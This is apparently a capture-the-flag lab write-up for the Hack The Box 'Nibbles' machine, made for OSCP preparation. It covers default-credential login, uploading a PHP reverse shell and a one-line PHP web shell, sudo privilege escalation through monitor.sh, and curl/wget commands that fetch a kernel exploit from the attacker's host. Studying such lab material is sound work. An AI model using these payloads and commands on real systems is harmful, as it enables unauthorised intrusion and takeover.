Linux Boxes

nibbles

  1. nmap
  2. http
    1. gobuster
      1. /admin
  3. initial foothold
    1. default credentials to nibbleblog admin
    2. upload pic
      1. OR upload cmd.php for RCE
      2. reverse shell
  4. privesc through monitor.sh file creation
    1. vi monitor.sh
  5. priv esc through rationallove kernel exploit
    1. rationallove.c
  6. user/root
  7. lessons learned

nibbles

images/23-1.png
images/23-2.png

nmap

nmap -sV -sC -oA nibbles 10.10.10.75
images/24-1.png

http

images/1952-1.png

images/1952-2.png
this is why its always worth checking the source code of the websites we're enumerating,
lets look at what
images/1952-3.png has

gobuster

images/1644-1.png

/admin

images/2021-1.png

initial foothold

default credentials to nibbleblog admin

trying username admin and password nibbles default credentials logs us in

we can also brute force the password with hydra/intruder
images/25-1.png

upload pic

images/27-1.png

upload our php reverse shell script from our /opt/shell directory and change the parameters to call back to our machine

(You can Ignore the warnings when you upload the file)
images/27-2.png
images/27-3.png



images/27-4.png

Next navigate to the location where the script is stored so the webpage runs it

images/27-5.png

OR upload cmd.php for RCE

we can also upload a system call written in php to get remote code execution on the server

<php echo system($_REQUEST['cmd']) ?>
images/1645-1.png


images/1645-2.png

run the script through the browser and we have code execution
images/1645-3.png

reverse shell

images/26-1.png
images/26-2.png

privesc through monitor.sh file creation

Lets run sudo -l and see what functions we can call as sudo without a password:

images/29-1.png

Seems there is a file called
monitor.sh that we can call as root without a password, lets see what it is...

images/29-2.png


vi monitor.sh

images/713-1.png

lets make our script executable with chmod and run it as
root:
images/713-2.png

Success!

priv esc through rationallove kernel exploit

copy raw data fromrationallove/gitlibc
images/30-1.png


vi rationallove.c
-> paste raw


setup httpserver
images/30-2.png

-as nibbles: curl -o <filename.c> rationallove.c 10.10.14.62:<httpserverport>/rationallove.c
or
wget 10.10.14.62:5555/rationallove.c
images/30-3.png
images/30-4.png


and compile it on the victim machine
gcc -o <exefilename> <filename.c>
images/30-5.png

run ./<exefilename>
images/30-6.png

images/30-7.png
root

rationallove.c

its 977 lines of code so I'm not gonna paste it all here, look it up if you'd like here
https://www.exploit-db.com/exploits/43775




images/714-1.png

user/root

images/28-1.png
b02ff32bb332deba49eeaed21152c8d8
images/28-2.png
b6d745c0dfb6457c55591efc898ef88c

lessons learned

Check out Rana Khalil's OSCP writeups and prep at https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/

images/1953-1.png